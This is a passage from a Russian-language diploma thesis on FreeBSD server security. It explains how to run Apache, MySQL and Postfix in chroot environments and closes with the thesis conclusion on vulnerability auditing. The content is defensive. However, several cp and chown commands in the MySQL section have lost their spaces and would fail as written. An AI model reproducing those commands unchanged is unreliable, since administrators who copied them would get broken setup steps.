Теперь скопируем все необходимые для работы сервера файлы в chroot, включая конфиг файл(httpd.conf), mime.types и index.html. В httpd.conf нужно изменить DocumentRoot на /www, так как каталог /chroot/httpd для нашего сервера будет корневым. Чтобы узнать какие файлы нужны, воспользуемся командами ldd, strings, strace или truss в качестве параметра - /usr/local/apache/bin/httpd. При использовании truss и strace обратите внимание на функции open(). Получив список файлов, копируем их в соответствующие каталоги в chroot. Создадим базу данных паролей в каталоге /chroot/httpd/etc/.
~# touch /chroot/httpd/etc/pass
~# echo "nobody:*:65534:65534::0:0:none:/nonexistent:/sbin/nologin" >> /chroot/httpd/etc/pass
~# echo "www:*:80:80::0:0:www:/nonexistent:/sbin/nologin" >> /chroot/httpd/etc/pass
~# pwd_mkdb -d /chroot/httpd/etc pass
~# rm /chroot/httpd/etc/master.passwd
Все готово для запуска:
~# /usr/sbin/chroot /chroot/httpd /usr/local/apache/bin/httpd

7.19.2 Уустановка MySQL в chroot.
MySQL является одной из наиболее популярных баз данных. Она предлагает простые, но в то же время очень эффективные механизмы защиты. К сожалению, заданная по умолчанию инсталляция MySQL, а в особенности пустой пароль по умолчанию и потенциальная уязвимость к атакам переполнения буфера, делают базу данных MySQL простым объектом для нападений.

1) Функциональные возможности
Мы предполагаем, что Web-сервер Apache был установлен в соответствии с требованиями предыдущего раздела, и помещен в каталог /chroot/httpd.

Кроме этого мы также принимаем следующее:
• База данных MySQL будет использоваться только приложениями, установленными на том же самом хосте;
• Для управления базой данных будут использоваться стандартные административные средства, типа mysqladmin, mysql, mysqldump и т.д.;
• Для удаленного резервирования MySQL данных будет использоваться SSH протокол.

2) Необходимые условия для защиты
Чтобы достигнуть самого высокого возможного уровня защиты, установка и конфигурация mysql должна быть выполнена в соответствии со следующими требованиями:
• база данных mysql должна быть выполнена в chrooted среде;
• процессы mysql должны выполняться под уникальным UID/GID, неиспользуемым никаким другим системным процессом;
• Должен быть разрешен только локальный доступ к mysql;
• Основная учетная запись mysql должна быть защищена “сложным” паролем;
• Будет переименована учетная запись администратора;
• Должен быть заблокирован анонимный доступ к базе данных (используя учетную запись nobody);
• Должны быть удалены все типовые базы данных и таблицы.

3) Chrooting сервер
Мы не будем подробно рассматривать последовательность установки и конфигурации mysql. Достаточно показать, как можно эффективно поместить его в chrooted среду.

4) Подготовка chroot среды
Чтобы подготовить chrooted среду, мы должны создать следующую структуру каталога:
mkdir -p /chroot/mysql/dev
mkdir -p /chroot/mysql/etc
mkdir -p /chroot/mysql/tmp
mkdir -p /chroot/mysql/var/tmp
mkdir -p /chroot/mysql/usr/local/mysql/libexec
mkdir -p /chroot/mysql/usr/local/mysql/share/mysql/english

5) Установка прав доступа
Права доступа к вышеупомянутым каталогам должны быть установлены следующим образом:
chown -R root:sys /chroot/mysql
chmod -R 755 /chroot/mysql
chmod 1777 /chroot/mysql/tmp

6) Создание структуры каталогов
Затем, необходимо скопировать следующие файлы в новую структуру каталога:
cp/usr/local/mysql/libexec/mysqld/chroot/mysql/usr/local/mysql/libexec/
cp/usr/local/mysql/share/mysql/english/er rmsg.sys/chroot/mysql/usr/local/mysql/share/mys ql/english/
cp/etc/hosts/chroot/mysql/etc/
cp/etc/host.conf/chroot/mysql/etc/
cp/etc/resolv.conf/chroot/mysql/etc/
cp/etc/group/chroot/mysql/etc/
cp/etc/master.passwd/chroot/mysql/etc/passwords
cp/etc/my.cnf/chroot/mysql/etc/

7) Сжатие паролей и групп
Из файлов: /chroot/mysql/etc/passwords и /chroot/mysql/etc/group мы должны удалить все строки кроме учетной записи mysql и группы. Затем, мы должны, создать базу данных паролей (допустимо только в FreeBSD):
cd /chroot/mysql/etc
pwd_mkdb -d /chroot/mysql/etc passwords
rm -rf /chroot/mysql/etc/master.passwd

8) Специальные соображения
Мы должны создать специальный файл устройства /dev/null:
ls -al /dev/null
crw-rw-rw- 1 root sys 2, 2 Jun 21 18:31 /dev/null
mknod /chroot/mysql/dev/null c 2 2
chown root:sys /chroot/mysql/dev/null
chmod 666 /chroot/mysql/dev/null
Теперь необходимо скопировать базу данных mysql, которая содержит таблицы, созданные в процессе инсталляции mysql:
cp-R/usr/local/mysql/var//chroot/mysql/usr/local/mysql/var
chown-R mysql:mysql/chroot/mysql/usr/local/mysql/var

9) Проверка конфигурации
Теперь MySQL готов к запуску в chrooted среде. Мы можем проверить, правильно ли запускается MySql, выполнив следующую команду:
chrootuid /chroot/mysql mysql /usr/local/mysql/libexec/mysqld &
Если произойдет какая-либо ошибка, то необходимо будет использовать команду truss или подобную ей, типа ktrace/kdump, strace, и т.д. Это поможет нам определить и устранить причину проблемы.

Заметьте, что для выполнения процесса mysqld, вместо chroot использовалась программа chrootuid. Главное отличие состоит в том, что chrootuid меняет владельца запущенного процесса. В нашем примере, mysqld выполняется в chrooted среде, но владелец процесса - не root, а пользователь mysql. Chrootuid не установлен по умолчанию, поэтому необходимо загрузить и установить эту программу вручную. (Это актуально для версий FreeBSD меньше 4.9, а в новых версиях chroot уже позволяет менять пользователя).

Наконец, необходимо создать основной сценарий, который будет использоваться для запуска mysql во время загрузки операционной системы. Пример такого сценария показан ниже:

#!/bin/sh
CHROOT_MYSQL=/chroot/mysql
CHROOT_PHP=/chroot/httpd
SOCKET=/tmp/mysql.sock
MYSQLD=/usr/local/mysql/libexec/mysqld
PIDFILE=/usr/local/mysql/var/`hostname`.pid
CHROOTUID=/usr/local/sbin/chrootuid
echo -n " mysql"
case "$1" in
start)
rm -rf ${CHROOT_PHP}/${SOCKET}
nohup ${CHROOTUID} ${CHROOT_MYSQL} mysql ${MYSQLD} >/dev/null 2>&1 &
sleep 5 && ln ${CHROOT_MYSQL}/${SOCKET} ${CHROOT_PHP}/${SOCKET}
;;
stop)
kill `cat ${CHROOT_MYSQL}/${PIDFILE}`
rm -rf ${CHROOT_MYSQL}/${SOCKET}
;;
*)
echo ""
echo "Usage: `basename $0` {start|stop}" >&2
exit 64
;;
esac
exit 0
В нашей системе FreeBSD, вышеупомянутый сценарий должен быть помещен в каталог /usr/local/etc/rc.d, под именем mysql.sh.

7.19.3 Безопасная конфигурация почтового сервиса.
Будем использовать Postfix – как один из самых безопасных и удобных. К тому же он без проблем размещается в chroot окружении:
Будем считать, что Postfix установлен в обычном режиме и настроим его для запуска в chroot.

1). В /var/spool/postfix создаем директории dev и etc.
В etc копируем файлы /etc/host.conf /etc/localtime /etc/services /etc/resolv.conf
2). Правим master.cf, ставим в колонке chroot символ 'y' у следующих процессов:
smtp, pickup, cleanup, qmgr, rewrite, bounce, defer, trace, verify, flush, relay, showq, error

3). Активируем proxymap для чтения файлов из вне chroot окружения (/etc/passwd, aliases, различные "map"-файлы), например:

   
   local_recipient_maps = $alias_maps proxy:unix:passwd.byname 
    relay_domains = $mydestination, proxy:hash:/usr/local/etc/postfix/relay_domains
    smtpd_sender_restrictions = check_sender_access proxy:hash:/usr/local/etc/postfix/ access, 
               reject_non_fqdn_sender, reject_unknown_sender_domain
    smtpd_client_restrictions = check_client_access proxy:hash:/usr/local/etc/postfix/access_clients,
               check_recipient_access proxy:hash:/usr/local/etc/postfix/spam_allowed,
               check_client_access proxy:hash:/usr/local/etc/postfix/antispam/blocklist/block_list,
               check_client_access proxy:hash:/usr/local/etc/postfix/antispam/blocklist/block_list_arc,
               check_client_access regexp:/usr/local/etc/postfix/dsl_stoplist.txt,
               reject_rbl_client rbl.test.ru
    smtpd_recipient_restrictions = check_recipient_access proxy:hash:/usr/local/etc/postfix/fullboxes,
               reject_non_fqdn_recipient,
               permit_mynetworks,
               reject_unknown_recipient_domain,
               reject_unauth_destination
    transport_maps = proxy:hash:/usr/local/etc/postfix/transport
    proxy_read_maps = $smtpd_helo_restrictions $smtpd_recipient_restrictions $smtpd_sender_restrictions \
               $smtpd_client_restrictions $local_recipient_maps $mydestination $virtual_alias_maps \
               $virtual_alias_domains $virtual_mailbox_maps $virtual_mailbox_domains $relay_recipient_maps \
               $relay_domains $canonical_maps $sender_canonical_maps $recipient_canonical_maps \
               $relocated_maps $transport_maps $mynetworks

3. Создаем дополнительный syslog сокет в chroot окружении:
"syslogd -l /var/spool/postfix/dev/log"

8.19.4 Аналогичные настройки для других сервисов.
Аналогично про настройку BIND в среде chroot можно прочитать тут

Настройка ProFtpd сервера в jail окружении:

Запуск Apache в jail environment под FreeBSD:

Краткое руководство по запуску isc-dhcpd в chroot.

Подборка патчей для помещения избранных пользователей в chroot окружение с входом через SSH:

Помещение сервисов (пример для Qpopper, Sun RPCBIND, sendmail) в chroot.


Заключение


Итак, в результате проведенной работы были получены следующие результаты:
Было проведено детальное исследование публичных уязвимостей ОС FreeBSD, с разделением их по кажеству воздействия и опасности. Полученный комплект удобно использовать при проведении аудита безопасности системы или для устранения уязвимых мест. На основе анализа уязвимостей установлено, что большинство уязвимостей было найдено в старых версиях системы, а современные выпуски достаточно хорошо защищены.

Была проведена детальное исследование методов определения версии операционной системы как первого этапа при проверке защищенности системы. Была разработана программа, которая позволяет эффективно определить версию ОС FreeBSD, а также описаны методы для защиты от удаленной идентификации системы.

Были исследованы и описаны основные методы тестирования системы на наличии в ней уязвимых мест, а так-же штатные средства обеспечения безопасности в системе FreeBSD.

Проводилось практическое исследование нескольких серверов в сети предприятия, используя методы, описанные в дипломной работе. На одном из серверов были найдены достаточно серьезные уязвимые места и были предложены варианты по их нейтрализации.

На основе собранной информации был предложен вариант конфигурации системы, которая обеспечивает создание защищенного сервера на основе ОС FreeBSD.



Таким образом, я считаю что задачи, поставленные в качестве целей дипломной работы, выполнены. Результаты этой работы могут использоваться как саоставная часть при проведении полного аудита компьютерной сети, а также как справочное пособие по безопасности для администратора FreeBSD. Данная дипломная работа продублирована в электронном виде и может быть выложена на Интернет портале.

Считаю, что возможно продолжить эту дипломную работу в нескольких направлениях:
  • Провести более углубленный анализ механизмов обеспечения безопасности в ОС FreeBSD и привести оптимальные рекомендации отдельно для специфических моделей серверов ( файл-сервер, почтовый-сервер, сервер-имен DNS, сервер баз данных, межсетевой экран).
  • Развивать электронную версию до более удобного вида справочника по безопасности в FreeBSD, периодически пополнять базу уязвимостей и новых механизмов защиты. Написать программы для тестированих тех актуальных уязвимостей, для которых нет публичных эксплоитов.
  • Расширить область исследования, на схожие операционные системы семества *BSD или даже на все семейство UNIX. Так как эти операционные системы имеют схожие уязвимости, методы для их тестирования и защитные механизмы.
  • Использовать материал дипломной работы для написания автоматизированного сканнера и тестера уязвимостей для оперционной системы ОС FreeBSD.